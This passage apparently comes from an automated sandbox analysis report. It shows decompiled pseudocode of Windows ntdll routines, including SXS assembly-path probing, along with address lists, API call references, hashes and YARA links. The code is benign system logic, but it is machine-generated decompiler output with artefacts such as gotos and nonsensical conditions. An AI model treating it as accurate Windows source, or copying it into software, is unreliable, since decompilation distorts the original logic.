												_t267 = _v60;
											} else {
												_t401 = _t401 + 0xffffffe0;
											}
										}
										_v92 = _t401;
										__eflags = _t438 - 0x61;
										if(_t438 >= 0x61) {
											__eflags = _t438 - 0x7a;
											if(_t438 > 0x7a) {
												_t325 = ( *( *0x6c0f6d5c + (( *(_t367 + (_t438 >> 8) * 2) & 0x0000ffff) + (_t438 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t438 & 0x0000000f);
												_t367 =  *0x6c0f6d5c;
												_t438 =  *((intOrPtr*)( *0x6c0f6d5c + _t325 * 2)) + _v96 & 0x0000ffff;
												_t267 = _v60;
											} else {
												_t438 = _t438 + 0xffffffe0;
											}
										}
										_v100 = _t438;
										__eflags = _t401 - _t438;
										if(_t401 == _t438) {
											goto L37;
										} else {
											_t395 = _t401 - _t438;
											__eflags = _t395;
											L32:
											__eflags = _t395;
											if(__eflags == 0) {
												_t343 = _t406;
												_v48 = _t343;
												while(1) {
													L44:
													_t268 =  *_t343 & 0x0000ffff;
													__eflags = _t268;
													if(_t268 == 0) {
														break;
													}
													while(1) {
														_t343 = _t343 + 2;
														_v48 = _t343;
														__eflags = _t268;
														if(_t268 == 0) {
															goto L44;
														}
														_t268 =  *_t343 & 0x0000ffff;
													}
												}
												_t337 = _t343 + 2;
												_v48 = _t337;
												_t269 = _a16;
												__eflags = _t269;
												if(_t269 == 0) {
													_push(_t337 - _t406 & 0xfffffffe);
													_push(_t406);
													_push(_v76);
													L89:
													memmove();
													_t443 = _t443 + 0xc;
													L90:
													__eflags = _v29;
													if(_v29 != 0) {
														memset(0x6c0f8220, 0, 0x234);
														_t443 = _t443 + 0xc;
													}
													goto L59;
												}
												_t429 = _a20;
												__eflags = _t429 - _v64;
												if(_t429 <= _v64) {
													_t430 = _t429 + _t429;
													memcpy(_v52, _t269, _t430);
													_t443 = _t443 + 0xc;
													_t369 = _v52 + _t430;
													 *_t369 = 0;
													_t370 = _t369 + 2;
													__eflags = _a20 - _v64;
													if(_a20 == _v64) {
														goto L90;
													}
													_t279 = _t337 - _t406 & 0xfffffffe;
													__eflags = _t279;
													_push(_t279);
													_push(_t406);
													_push(_t370);
													goto L89;
												}
												_t412 = _v36;
												_t281 = E6C0335D0(_t367,  *( *[fs:0x30] + 0x18), 0, _t412);
												_t337 = _v48;
												_t376 = (_t337 - _t412 >> 1) - _v68 + _t429 + (_t337 - _t412 >> 1) - _v68 + _t429;
												_v76 = _t376;
												__eflags = _t376 - _t281;
												if(_t376 < _t281) {
													_t413 = _t429 + _t429;
													_t433 = _v52 + 2 + _t413;
													_t377 = _v40;
													_v80 = _t377;
													memmove(_t433, _t377, _t337 - _t377 & 0xfffffffe);
													_t434 = _t433 - 2;
													 *_t434 = 0;
													memcpy(_t434 - _t413, _a16, _t413);
													_t443 = _t443 + 0x18;
													__eflags = _a4;
													if(_a4 == 0) {
														_t378 = _v44;
														 *((intOrPtr*)(_t378 + 0x48)) = _v36;
														 *((intOrPtr*)(_t378 + 0x290)) = _v76;
														_t213 = _t378 + 0x294;
														 *_t213 =  *(_t378 + 0x294) + 1;
														__eflags =  *_t213;
													}
													__eflags = _v29;
													if(_v29 != 0) {
														memset(0x6c0f8220, 0, 0x234);
														_t443 = _t443 + 0xc;
													}
													_t406 = _v80;
													goto L59;
												}
												_t414 = E6C0336CC(_t376);
												_v80 = _t414;
												__eflags = _t414;
												if(_t414 == 0) {
													goto L106;
												}
												_t379 = _v36;
												_t436 = (_v52 - _t379 >> 1) + (_v52 - _t379 >> 1);
												memcpy(_t414, _t379, _t436);
												_t415 = _t414 + _t436;
												_t437 = _a20 + _a20;
												memcpy(_t415, _a16, _t437);
												_t416 = _t415 + _t437;
												 *_t416 = 0;
												memcpy(_t416 + 2, _v40, _t337 - _v40 & 0xfffffffe);
												_t443 = _t443 + 0x24;
												_t380 = _a4;
												_t299 = _v80;
												__eflags = _t380;
												if(_t380 != 0) {
													 *_t380 = _t299;
												} else {
													_t380 = _v44;
													 *(_t380 + 0x48) = _t299;
													 *((intOrPtr*)(_t380 + 0x290)) = _v76;
													_t92 = _t380 + 0x294;
													 *_t92 =  *(_t380 + 0x294) + 1;
													__eflags =  *_t92;
												}
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6c0f8220, 0, 0x234);
													_t443 = _t443 + 0xc;
												}
												__eflags = _v30;
												if(_v30 != 0) {
													E6C01EB70(_t380,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
													_v30 = 0;
												}
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
												_t406 = _v40;
												_t337 = _v48;
												goto L59;
											}
											if(__eflags < 0) {
												__eflags = _v72 - _t337;
												if(_v72 == _t337) {
													_v72 = _v76;
												}
											}
											goto L16;
										}
									}
									_t395 = _a12 - _v80;
									goto L32;
								}
								L59:
								_t351 = _v36;
								_t419 = _a12;
								goto L60;
							}
							_t329 =  *(_t229 + 0x1c);
							__eflags = _t329;
							if(_t329 == 0) {
								L103:
								_v29 = 1;
								goto L14;
							} else {
								_t330 = E6C016600(_t329);
								_t351 = _v36;
								__eflags = _t330;
								if(_t330 == 0) {
									goto L14;
								}
								goto L103;
							}
						}
						_v30 = 1;
						_v29 = 1;
						L6C01EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
						_t351 =  *(_t336 + 0x48);
						_v36 = _t351;
						goto L14;
					} else {
						_t333 = 0;
						__eflags = 0;
						_t403 = _a20;
						while(1) {
							__eflags = _t333 - _t403;
							if(_t333 >= _t403) {
								goto L12;
							}
							__eflags =  *((short*)(_t349 + _t333 * 2));
							if( *((short*)(_t349 + _t333 * 2)) == 0) {
								goto L100;
							} else {
								_t333 = _t333 + 1;
								continue;
							}
						}
						goto L12;
					}
				}
			}

0x6c032f75
0x6c032f77
0x6c032f7c
0x6c032f87
0x6c032f88
0x6c032f8e
0x6c032f93
0x6c032f98
0x6c032f9c
0x6c032fa2
0x6c032fa9
0x6c032fb0
0x6c032fb4
0x6c032fb8
0x6c032fbd
0x6c075e6d
0x6c075e6d
0x6c0332f1
0x6c0332f4
0x6c033302
0x6c033302
0x6c032fc3
0x6c032fca
0x00000000
0x6c032fd0
0x6c032fd0
0x6c032fd5
0x6c032fd9
0x6c032fe0
0x00000000
0x6c032fef
0x6c032fef
0x6c032ff0
0x00000000
0x6c032ff0
0x6c032fe0
0x6c032ff5
0x6c032ff8
0x6c032ffa
0x6c033013
0x6c033019
0x6c03301c
0x6c03301f
0x6c033022
0x6c033025
0x6c03302c
0x6c033033
0x6c033036
0x6c033038
0x6c0334db
0x6c0334dd
0x6c0334e0
0x6c0334e3
0x6c03305a
0x6c03305a
0x6c033061
0x6c033063
0x6c033066
0x6c033068
0x6c03306b
0x6c03306d
0x6c0332cd
0x6c0332cd
0x6c0332d0
0x6c0332d2
0x6c033478
0x6c03347a
0x6c03347a
0x6c0332d8
0x6c0332da
0x6c033305
0x6c033309
0x00000000
0x00000000
0x6c03330b
0x6c03330d
0x6c075f99
0x6c075f9f
0x6c075fa6
0x6c033365
0x6c033365
0x6c033368
0x6c03336a
0x6c033503
0x6c033513
0x6c03351b
0x6c033522
0x6c033527
0x6c03352a
0x6c03352d
0x6c03352f
0x6c03353d
0x6c033542
0x6c033542
0x6c033545
0x6c033547
0x6c03354f
0x6c033552
0x6c033555
0x6c03355b
0x6c033563
0x6c03356b
0x6c03356d
0x6c033570
0x6c033572
0x6c033578
0x6c03357b
0x6c03357e
0x00000000
0x6c033584
0x6c033584
0x6c03358a
0x6c03358d
0x6c033590
0x6c033596
0x00000000
0x6c033596
0x6c03357e
0x6c033377
0x6c033379
0x6c03337c
0x6c03337e
0x6c075f0c
0x6c075f0c
0x00000000
0x6c075f0c
0x6c033384
0x6c033386
0x6c075fad
0x6c03338c
0x6c03338e
0x6c033391
0x6c033391
0x6c033393
0x6c03339b
0x6c0333a0
0x6c0333a3
0x6c0333a3
0x6c0333a6
0x6c0333a9
0x6c0333af
0x6c0333b7
0x6c0333c2
0x6c0333c9
0x6c0333cc
0x6c0333cf
0x6c0333d5
0x6c0333dd
0x6c0333e8
0x6c0333ec
0x6c0333ef
0x6c0333f2
0x6c0333f4
0x6c075fb6
0x6c075fb9
0x6c0333fa
0x6c033402
0x6c03340a
0x6c03340d
0x6c03340f
0x6c03341d
0x6c033422
0x6c03340f
0x6c033425
0x6c033428
0x6c03342b
0x6c03342d
0x6c0334ee
0x6c033433
0x6c033433
0x6c033436
0x6c03343c
0x6c033442
0x6c033442
0x6c033442
0x6c033442
0x6c033448
0x6c03344c
0x6c033457
0x6c03345c
0x6c03345c
0x6c03346e
0x00000000
0x6c03346e
0x6c033313
0x6c033316
0x6c033316
0x6c033316
0x6c033319
0x6c03331c
0x00000000
0x00000000
0x6c033320
0x6c033320
0x6c033323
0x6c033326
0x6c033329
0x00000000
0x00000000
0x6c03332b
0x6c03332b
0x6c033320
0x6c033333
0x6c033347
0x6c033349
0x6c033355
0x6c033355
0x6c033358
0x6c03335f
0x6c033362
0x00000000
0x6c0332dc
0x6c0332dc
0x6c0332dc
0x6c0332df
0x6c0332df
0x6c0332e2
0x6c0332e2
0x6c0332e9
0x6c0332ee
0x00000000
0x6c0332ee
0x6c0332da
0x6c033076
0x6c033080
0x6c033080
0x6c033080
0x6c033083
0x00000000
0x00000000
0x6c033089
0x6c03308b
0x6c03308e
0x6c03308e
0x6c033090
0x6c033093
0x6c033093
0x6c033096
0x6c033099
0x6c03309c
0x6c03309f
0x00000000
0x00000000
0x6c0330a1
0x6c0330a4
0x00000000
0x00000000
0x6c0330aa
0x6c0330ac
0x6c0330af
0x6c0330af
0x6c0330b2
0x6c0330b5
0x6c0330b7
0x6c0330c0
0x6c0330c0
0x6c0330c3
0x00000000
0x00000000
0x6c0330c5
0x6c0330c8
0x6c0330c8
0x6c0330cf
0x6c0330cf
0x6c0330d1
0x6c0330d3
0x6c0330d6
0x00000000
0x6c0330d6
0x6c0330d9
0x6c0330dc
0x6c0330df
0x6c0330e2
0x6c0330e4
0x6c0330e7
0x6c0330ea
0x6c0330ed
0x6c033153
0x6c033153
0x6c0330ef
0x6c0330f2
0x6c0330f5
0x6c0330f5
0x6c0330f7
0x00000000
0x00000000
0x6c0330fd
0x6c033100
0x6c033103
0x6c033106
0x6c033109
0x6c03310c
0x6c03310f
0x6c033112
0x6c033115
0x6c033117
0x6c033158
0x6c033158
0x6c03315b
0x6c033161
0x6c033164
0x6c033167
0x00000000
0x6c033167
0x6c033119
0x6c03311f
0x6c033122
0x6c03317a
0x6c03317d
0x6c075eb7
0x6c075eb9
0x6c075ec7
0x6c075eca
0x6c033183
0x6c033183
0x6c033183
0x6c03317d
0x6c033124
0x6c033127
0x6c03312a
0x6c03316c
0x6c03316f
0x6c075ef1
0x6c075ef3
0x6c075f01
0x6c075f04
0x6c033175
0x6c033175
0x6c033175
0x6c03316f
0x6c03312c
0x6c03312f
0x6c033131
0x00000000
0x6c033133
0x6c033133
0x6c033133
0x6c033135
0x6c033135
0x6c033137
0x6c033190
0x6c033192
0x6c033195
0x6c033195
0x6c033195
0x6c033198
0x6c03319b
0x00000000
0x00000000
0x6c0331a0
0x6c0331a0
0x6c0331a3
0x6c0331a6
0x6c0331a9
0x00000000
0x00000000
0x6c0331ab
0x6c0331ab
0x6c0331a0
0x6c0331b0
0x6c0331b3
0x6c0331b6
0x6c0331b9
0x6c0331bb
0x6c0334fc
0x6c0334fd
0x6c0334fe
0x6c0334b0
0x6c0334b0
0x6c0334b5
0x6c0334b8
0x6c0334b8
0x6c0334bc
0x6c0334ce
0x6c0334d3
0x6c0334d3
0x00000000
0x6c0334bc
0x6c0331c1
0x6c0331c4
0x6c0331c7
0x6c033482
0x6c033489
0x6c03348e
0x6c033494
0x6c033498
0x6c03349b
0x6c0334a1
0x6c0334a4
0x00000000
0x00000000
0x6c0334aa
0x6c0334aa
0x6c0334ad
0x6c0334ae
0x6c0334af
0x00000000
0x6c0334af
0x6c0331cd
0x6c0331dc
0x6c0331e1
0x6c0331ef
0x6c0331f1
0x6c0331f4
0x6c0331f6
0x6c075f1f
0x6c075f28
0x6c075f2c
0x6c075f2f
0x6c075f3a
0x6c075f42
0x6c075f47
0x6c075f51
0x6c075f56
0x6c075f59
0x6c075f5d
0x6c075f5f
0x6c075f65
0x6c075f6b
0x6c075f71
0x6c075f71
0x6c075f71
0x6c075f71
0x6c075f77
0x6c075f7b
0x6c075f89
0x6c075f8e
0x6c075f8e
0x6c075f91
0x00000000
0x6c075f91
0x6c033201
0x6c033203
0x6c033206
0x6c033208
0x00000000
0x00000000
0x6c033211
0x6c033218
0x6c03321e
0x6c033226
0x6c03322b
0x6c033233
0x6c03323b
0x6c03323f
0x6c033250
0x6c033255
0x6c033258
0x6c03325b
0x6c03325e
0x6c033260
0x6c075f18
0x6c033266
0x6c033266
0x6c033269
0x6c03326f
0x6c033275
0x6c033275
0x6c033275
0x6c033275
0x6c03327b
0x6c03327f
0x6c03328d
0x6c033292
0x6c033292
0x6c033295
0x6c033299
0x6c0332a4
0x6c0332a9
0x6c0332a9
0x6c0332bc
0x6c0332c1
0x6c0332c4
0x00000000
0x6c0332c4
0x6c033139
0x6c03313f
0x6c033142
0x6c03314b
0x6c03314b
0x6c033142
0x00000000
0x6c033139
0x6c033131
0x6c03318b
0x00000000
0x6c03318b
0x6c0332c7
0x6c0332c7
0x6c0332ca
0x00000000
0x6c0332ca
0x6c075e77
0x6c075e7a
0x6c075e7c
0x6c075e8f
0x6c075e8f
0x00000000
0x6c075e7e
0x6c075e7f
0x6c075e84
0x6c075e87
0x6c075e89
0x00000000
0x00000000
0x00000000
0x6c075e89
0x6c075e7c
0x6c03303e
0x6c033042
0x6c03304f
0x6c033054
0x6c033057
0x00000000
0x6c032ffc
0x6c032ffc
0x6c032ffc
0x6c032ffe
0x6c033001
0x6c033001
0x6c033003
0x00000000
0x00000000
0x6c033005
0x6c03300a
0x00000000
0x6c033010
0x6c033010
0x00000000
0x6c033010
0x6c03300a
0x00000000
0x6c033001
0x6c032ffa

APIs

RtlEnterCriticalSection.1105(?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C03304F
RtlSizeHeap.1105(?,00000000,00000000,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C0331DC
memcpy.1105(00000000,00000000,00000000,?,00000000,00000000,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C03321E
memcpy.1105(00000000,6C0F79A0,00000000,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C033233
memcpy.1105(-00000002,00000000,?,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C033250
memset.1105(6C0F8220,00000000,00000234,?,?,?,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE), ref: 6C03328D
RtlLeaveCriticalSection.1105(?,?,?,?,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C0332A4
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE), ref: 6C0332BC
RtlSizeHeap.1105(?,00000000,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C033342
memcpy.1105(00000000,00000000,00000000,?,00000000,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C03339B
memcpy.1105(00000000,?,00000000,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C0333B7
memcpy.1105(-00000002,00000000,00000000,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C0333DD
memcpy.1105(-00000002,00000000,?,?,?,?,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE), ref: 6C033402
memset.1105(6C0F8220,00000000,00000234,?,?,?,?,?,?,?,?,?,0000003A,6C0F79A0,?,00000000), ref: 6C03341D
RtlLeaveCriticalSection.1105(?,?,?,?,?,?,?,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28), ref: 6C033457
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,?,?,?,?,?,0000003A,6C0F79A0,?,00000000), ref: 6C03346E
memcpy.1105(00000000,6C0F79A0,00000000,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C033489
memmove.1105(6C032F61,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C0334B0
memset.1105(6C0F8220,00000000,00000234,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C0334CE
memmove.1105(00000002,00000000,?,?,00000000,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C033513
memcpy.1105(00000000,?,00000000,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C033522
memset.1105(6C0F8220,00000000,00000234,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C03353D
memcpy.1105(-00000002,00000000,00000000,?,?,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C033563
RtlIsCriticalSectionLockedByThread.1105(00000000,?,0000003A,6C0F79A0,?,00000000,6C0517F0,6C0DFF28,000000FE,?,6C032F61), ref: 6C075E7F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CriticalHeapSectionmemset$FreeLeaveSizememmove$EnterLockedThread
String ID:
API String ID: 3971764801-0
Opcode ID: 368500ac095a58173998e85d19007a19bbff1792aa062c0b2cbfb95af70ff989
Instruction ID: 60411f64765a4766629d969d479da79c515e3ac85f01c5169d5d1abcd72fe21b
Opcode Fuzzy Hash: 368500ac095a58173998e85d19007a19bbff1792aa062c0b2cbfb95af70ff989
Instruction Fuzzy Hash: 0B3283B1E05219DFCB14CF58C890BEEBBF5BF59704F144129E819ABB90D735A942CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C03CF6A, Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 321
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6C03CF6A(signed short* __edx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, signed short _a16, signed int* _a20) {
				signed int _v12;
				char _v536;
				signed int _v537;
				signed int* _v544;
				signed int _v548;
				intOrPtr _v552;
				void* _v556;
				signed short _v560;
				signed short _v564;
				char _v568;
				signed short* _v572;
				signed short* _v576;
				intOrPtr _v580;
				signed short _v584;
				void* _v588;
				signed short _v592;
				void* _v596;
				intOrPtr _v600;
				signed short _v604;
				char _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char* _v624;
				intOrPtr _v628;
				char _v632;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t101;
				void* _t103;
				signed short _t113;
				signed short _t116;
				void _t119;
				char _t129;
				intOrPtr _t131;
				void* _t137;
				intOrPtr _t145;
				short* _t147;
				signed int _t157;
				signed short* _t159;
				void* _t160;
				signed short* _t161;
				signed short _t165;
				intOrPtr _t166;
				signed short _t169;
				intOrPtr _t172;
				void* _t173;
				intOrPtr _t174;
				short _t175;
				void* _t181;
				void* _t189;
				void* _t190;
				signed short* _t192;
				void* _t193;
				void* _t194;
				void* _t197;
				signed short _t199;
				signed int _t200;

				_v12 =  *0x6c0fd360 ^ _t200;
				_t101 = _a8;
				_t166 = _a12;
				_v576 = __edx;
				_v584 = _a16;
				_t192 = _a4;
				_v544 = _a20;
				_v548 = _v548 & 0;
				_t189 = 0;
				_v560 = 0;
				_v537 = 0;
				_v568 = 0;
				_v564 = 0;
				_v588 = 0;
				_t187 = _v584;
				_v572 = _t192;
				_v580 = _t101;
				_v552 = _t166;
				_v556 = 0;
				if(_t187 != 0) {
					 *_t187 =  *_t187 & 0;
				}
				_t159 = _v576;
				if(_v544 != _t189) {
					 *_v544 =  *_v544 & _t189;
					_t166 = _v552;
				}
				if(_t159 == 0 || _t192 == 0 || _t101 == 0 || _t166 == 0 || _t187 == 0 || _v544 == _t189) {
					_push(_v544);
					_push(_t187);
					_push(_t166);
					_push(_t101);
					_push(_t192);
					_push(_t159);
					_push(0);
					E6C095720(0x33, 0, "SXS: %s() bad parameters\nSXS:  Flags:               0x%lx\nSXS:  Root:                %p\nSXS:  AssemblyDirectory:   %p\nSXS:  PreAllocatedString:  %p\nSXS:  DynamicString:       %p\nSXS:  StringUsed:          %p\nSXS:  OpenDirectoryHandle: %p\n", "RtlpProbeAssemblyStorageRootForAssembly");
					_t193 = 0xc000000d;
					goto L24;
				} else {
					_t169 =  *_t159 & 0x0000ffff;
					_t187 = _t169;
					if(_t169 != 0) {
						_t157 =  *(_t159[2] + (_t169 >> 1) * 2 - 2) & 0x0000ffff;
						_t181 = 0x5c;
						_t169 =  *_t159 & 0x0000ffff;
						if(_t157 != _t181) {
							if(_t157 != 0x2f) {
								_v537 = 1;
								_t187 = _t187 + 2;
							}
						}
					}
					_t113 = ( *_t192 & 0x0000ffff) + 4 + _t187;
					_v592 = _t113;
					if(_t113 > 0xfffe) {
						_push("SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.\n");
						_push(0);
						_push(0x33);
						E6C095720();
						_t193 = 0xc0000106;
						L26:
						if(_t189 != 0 && _t189 !=  &_v536) {
							E6C00AD30(_t189);
						}
						L28:
						if(_v548 != 0) {
							_push(_v548);
							E6C0495D0();
						}
						_pop(_t190);
						_pop(_t194);
						_pop(_t160);
						return E6C04B640(_t193, _t160, _v12 ^ _t200, _t187, _t190, _t194);
					}
					if(_t113 > 0x208) {
						_t195 = _t113 & 0x0000ffff;
						_t189 = E6C023A1C(_t113 & 0x0000ffff);
						_v556 = _t189;
						if(_t189 != 0) {
							_t116 =  *_t159 & 0x0000ffff;
							goto L15;
						}
						E6C095720(0x33, _t115, "SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.\n", _t195);
						_t193 = 0xc0000017;
						goto L28;
					} else {
						_t189 =  &_v536;
						_t116 = _t169 & 0x0000ffff;
						_v556 = _t189;
						L15:
						memcpy(_t189, _t159[2], _t116 & 0x0000ffff);
						_t197 = _t189 + ( *_t159 & 0x0000ffff);
						if(_v537 != 0) {
							_t119 = 0x5c;
							 *_t197 = _t119;
							_t197 = _t197 + 2;
						}
						_t161 = _v572;
						memcpy(_t197, _t161[2],  *_t161 & 0x0000ffff);
						 *((short*)(_t197 + ( *_t161 & 0x0000ffff))) = 0;
						_t165 = (_v537 & 0x000000ff) + (_v537 & 0x000000ff) +  *_v572 +  *_v576;
						_v560 = _t165;
						if(E6C016A00(_t189,  &_v568, 0,  &_v608) == 0) {
							E6C095720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n", _t189);
							_t193 = 0xc000003a;
							goto L26;
						} else {
							_t129 = _v608;
							_t187 = _v564;
							_v588 = _v564;
							if(_t129 != 0) {
								_v568 = _t129;
								_v564 = _v604;
								_t131 = _v600;
							} else {
								_t131 = 0;
							}
							_v628 = _t131;
							_push(0x21);
							_v624 =  &_v568;
							_push(3);
							_push( &_v640);
							_v632 = 0x18;
							_push( &_v632);
							_push(0x100020);
							_v620 = 0x40;
							_push( &_v548);
							_v616 = 0;
							_v612 = 0;
							_t193 = E6C049830();
							_t137 = _v596;
							if(_t137 != 0) {
								asm("lock xadd [eax], ecx");
								if(0xffffffff == 0) {
									_push( *((intOrPtr*)(_t137 + 4)));
									E6C0495D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v596);
									_t189 = _v556;
									_t165 = _v560;
								}
							}
							if(_t193 < 0) {
								if(_t193 == 0xc000000f || _t193 == 0xc0000034 || _t193 == 0xc000003a) {
									_t193 = 0xc0150004;
								} else {
									_push(_t193);
									E6C095720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n", _t189);
								}
								goto L24;
							} else {
								_t172 = _v580;
								_t199 = _v592;
								if(_t199 > ( *(_t172 + 2) & 0x0000ffff)) {
									if(_t189 ==  &_v536) {
										_t173 = E6C023A1C(_t199);
										 *(_v552 + 4) = _t173;
										if(_t173 != 0) {
											memcpy(_t173, _t189, _t165 & 0x0000ffff);
											_t145 = _v552;
											L52:
											 *(_t145 + 2) = _t199;
											_t174 = _t145;
											goto L23;
										}
										_t193 = 0xc0000017;
										goto L24;
									}
									_t145 = _v552;
									 *(_t145 + 4) = _t189;
									_t189 = 0;
									_v556 = 0;
									goto L52;
								} else {
									memcpy( *(_t172 + 4), _t189, _t165 & 0x0000ffff);
									_t174 = _v580;
									L23:
									_t187 = _v584;
									 *_t187 = _t174;
									_t147 = (_t165 & 0x0000ffff) +  *((intOrPtr*)(_t174 + 4));
									_t175 = 0x5c;
									 *_t147 = _t175;
									 *((short*)(_t147 + 2)) = 0;
									 *( *_t187) = _v560 + 2;
									_v548 = _v548 & 0x00000000;
									_t193 = 0;
									 *_v544 = _v548;
									L24:
									_t103 = _v588;
									if(_t103 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t103);
										_t189 = _v556;
									}
									goto L26;
								}
							}
						}
					}
				}
			}

0x6c03cf7c
0x6c03cf7f
0x6c03cf82
0x6c03cf85
0x6c03cf8e
0x6c03cf99
0x6c03cf9c
0x6c03cfa4
0x6c03cfab
0x6c03cfad
0x6c03cfb3
0x6c03cfb9
0x6c03cfbf
0x6c03cfc5
0x6c03cfcb
0x6c03cfd1
0x6c03cfd7
0x6c03cfdd
0x6c03cfe3
0x6c03cfeb
0x6c03cfed
0x6c03cfed
0x6c03cfef
0x6c03cffb
0x6c03d003
0x6c03d005
0x6c03d005
0x6c03d00d
0x6c07afc1
0x6c07afc7
0x6c07afc8
0x6c07afc9
0x6c07afca
0x6c07afcb
0x6c07afcc
0x6c07afdc
0x6c07afe4
0x00000000
0x6c03d03f
0x6c03d03f
0x6c03d042
0x6c03d047
0x6c03d050
0x6c03d055
0x6c03d059
0x6c03d05c
0x6c07ae41
0x6c07ae47
0x6c07ae4e
0x6c07ae4e
0x6c07ae41
0x6c03d05c
0x6c03d068
0x6c03d06a
0x6c03d075
0x6c07ae56
0x6c07ae5b
0x6c07ae5d
0x6c07ae5f
0x6c07ae67
0x6c03d230
0x6c03d232
0x6c03d261
0x6c03d261
0x6c03d23e
0x6c03d245
0x6c07afee
0x6c07aff4
0x6c07aff4
0x6c03d250
0x6c03d251
0x6c03d254
0x6c03d25d
0x6c03d25d
0x6c03d080
0x6c07ae71
0x6c07ae7a
0x6c07ae7c
0x6c07ae84
0x6c07aea1
0x00000000
0x6c07aea1
0x6c07ae8f
0x6c07ae97
0x00000000
0x6c03d086
0x6c03d086
0x6c03d08c
0x6c03d08f
0x6c03d095
0x6c03d09d
0x6c03d0a8
0x6c03d0b1
0x6c07aeab
0x6c07aeac
0x6c07aeaf
0x6c07aeaf
0x6c03d0b7
0x6c03d0c5
0x6c03d0dc
0x6c03d0f1
0x6c03d102
0x6c03d112
0x6c07aec0
0x6c07aec8
0x00000000
0x6c03d118
0x6c03d118
0x6c03d11e
0x6c03d124
0x6c03d12d
0x6c07aed2
0x6c07aede
0x6c07aee4
0x6c03d133
0x6c03d133
0x6c03d133
0x6c03d135
0x6c03d141
0x6c03d143
0x6c03d14f
0x6c03d151
0x6c03d158
0x6c03d162
0x6c03d163
0x6c03d16e
0x6c03d178
0x6c03d179
0x6c03d17f
0x6c03d18a
0x6c03d18c
0x6c03d194
0x6c07aef2
0x6c07aef6
0x6c07aefc
0x6c07aeff
0x6c07af15
0x6c07af1a
0x6c07af20
0x6c07af20
0x6c07aef6
0x6c03d19c
0x6c07af32
0x6c07af5c
0x6c07af44
0x6c07af44
0x6c07af4f
0x6c07af54
0x00000000
0x6c03d1a2
0x6c03d1a2
0x6c03d1a8
0x6c03d1b4
0x6c07af6e
0x6c07af89
0x6c07af91
0x6c07af96
0x6c07afa8
0x6c07afad
0x6c07afb6
0x6c07afb6
0x6c07afba
0x00000000
0x6c07afba
0x6c07af98
0x00000000
0x6c07af98
0x6c07af70
0x6c07af76
0x6c07af79
0x6c07af7b
0x00000000
0x6c03d1ba
0x6c03d1c2
0x6c03d1c7
0x6c03d1d0
0x6c03d1d0
0x6c03d1db
0x6c03d1dd
0x6c03d1e0
0x6c03d1e1
0x6c03d1e6
0x6c03d1f5
0x6c03d204
0x6c03d20b
0x6c03d20d
0x6c03d20f
0x6c03d20f
0x6c03d217
0x6c03d225
0x6c03d22a
0x6c03d22a
0x00000000
0x6c03d217
0x6c03d1b4
0x6c03d19c
0x6c03d112
0x6c03d080

APIs

memcpy.1105(?,00000010,?,00000040,?,?), ref: 6C03D09D
